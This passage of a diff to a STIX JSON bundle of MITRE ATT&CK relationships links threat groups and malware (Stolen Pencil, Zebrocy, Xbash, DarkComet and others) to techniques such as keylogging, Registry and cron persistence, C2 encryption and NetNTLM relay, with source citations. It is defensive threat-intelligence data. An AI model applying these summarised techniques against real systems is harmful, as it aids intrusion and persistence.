"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e708676-9242-4faa-9d8d-0de893f626f4", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to add a Windows admin account in order to allow them to ensure continued access via RDP.", + "type": "relationship", + "created": "2019-02-05T17:56:55.594Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--34c13917-d1ab-4a3e-985e-54aa5b2bb84d", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.250Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has a tool to log keystrokes to %userprofile%\\appdata\\roaming\\apach.{txt,log}.", + "type": "relationship", + "created": "2019-02-05T17:56:55.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6bde353d-2ce0-436e-9a91-6716f121e99d", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.326Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) utilized RDP for direct remote point-and-click access.", + "type": "relationship", + "created": "2019-02-05T17:56:55.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9585d62c-1815-473d-8d50-6145349ae5ec", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.327Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) victims are prompted to install malicious Google Chrome extensions which gave the threat actor the ability to read data from any website accessed.", + "type": "relationship", + "created": "2019-02-05T17:56:55.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ded0250c-8e38-480c-a580-1126b64194e7", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "modified": "2019-06-24T19:09:46.304Z", + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-24T19:09:46.322Z", + "type": "relationship", + "created": "2019-02-05T17:56:55.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e305d328-ba42-4023-ac62-1656e3242d49", + "external_references": [ + { + "source_name": "Netscout Stolen Pencil Dec 2018", + "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.", + "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/" + } + ], + "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.", + "type": "relationship", + "created": "2019-02-07T14:02:20.869Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.805Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like ntlmrelayx and smbrelayx can be used in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040) and [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171) to gather NetNTLM credentials for [Brute Force](https://attack.mitre.org/techniques/T1110) or relay attacks that can gain code execution.", + "type": "relationship", + "created": "2019-02-07T19:13:01.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0318431e-ad44-44c7-97be-686d4efe79f4", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.807Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) creates an entry in a Registry Run key for the malware to execute on startup.", + "type": "relationship", + "created": "2019-02-12T16:33:29.174Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8839b4ad-24cb-4ad3-a407-947f75591973", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-17T01:18:32.911Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.", + "type": "relationship", + "created": "2019-02-12T16:33:29.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c56a229c-f033-4a51-ad5c-251dff28b87e", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:32.909Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.", + "type": "relationship", + "created": "2019-02-12T16:33:29.217Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.974Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses port 465 for C2.", + "type": "relationship", + "created": "2019-02-12T16:33:29.236Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9355fe6-d17d-44ff-8098-bed9a4c478bb", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.970Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.", + "type": "relationship", + "created": "2019-02-12T16:33:29.240Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.975Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.", + "type": "relationship", + "created": "2019-02-12T16:33:29.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:32.968Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.", + "type": "relationship", + "created": "2019-02-12T16:33:29.291Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:32.972Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.", + "type": "relationship", + "created": "2019-02-12T16:33:29.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:32.965Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence via adding a Registry key with a logon script.", + "type": "relationship", + "created": "2019-02-12T16:33:29.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766", + "external_references": [ + { + "source_name": "ESET Zebrocy Nov 2018", + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "modified": "2019-07-17T01:18:33.071Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.", + "type": "relationship", + "created": "2019-02-12T18:20:09.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--117ecbd3-b4cd-4ad2-a5f4-30ba79563406", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.815Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) injects its payload into Windows host processes.", + "type": "relationship", + "created": "2019-02-12T18:20:09.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e285f16-a145-46f5-aad3-0ea33392f147", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.811Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) encodes the data sent to the server in Base64.", + "type": "relationship", + "created": "2019-02-12T18:20:09.584Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56e55812-7622-4e84-96c6-6fc46dd2b541", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.830Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) will decrypt important strings used for C&C communication.", + "type": "relationship", + "created": "2019-02-12T18:20:09.610Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33d24077-13af-4e14-ba79-87ca145c5383", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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(2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:12.035Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Exaramel](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV\u201d.", + "type": "relationship", + "created": "2019-02-12T18:47:45.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90b9f240-cd40-488a-9bbc-bb0c5db07365", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:12.032Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as legitimate.", + "type": "relationship", + "created": "2019-02-12T19:00:34.566Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f82724f9-846b-442e-826c-a38a74a93737", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + } + ], + "modified": "2019-06-04T19:40:43.715Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can download additional malicious files from its C2 server.", + "type": "relationship", + "created": "2019-02-12T19:56:02.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--809ffec1-52a1-45a5-b410-049352b99700", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.502Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a Startup item for persistence if it determines it is on a Windows system.", + "type": "relationship", + "created": "2019-02-12T19:56:02.319Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3341ad26-c7a8-4e42-a095-a49e65fde843", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.526Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a cronjob for persistence if it determines it is on a Linux system.", + "type": "relationship", + "created": "2019-02-12T19:56:02.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52c32b71-1b7c-45e9-b082-7f3f16b90f2b", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.546Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.", + "type": "relationship", + "created": "2019-02-12T19:56:02.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + }, + { + "source_name": "Trend Micro Xbash Sept 2018", + "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet" + } + ], + "modified": "2019-06-28T15:15:54.544Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a webpage hosted on Pastebin to update its C2 domain list.", + "type": "relationship", + "created": "2019-02-12T19:56:02.352Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fc56f0e8-e059-403a-88e4-bd0b61bbc4b7", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.548Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.", + "type": "relationship", + "created": "2019-02-12T20:13:01.146Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33692a19-3c7f-47d9-8b36-fcec1a8a7241", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.281Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.", + "type": "relationship", + "created": "2019-02-12T20:13:01.196Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--faf1e821-465d-40cc-b523-73f1ba308932", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": 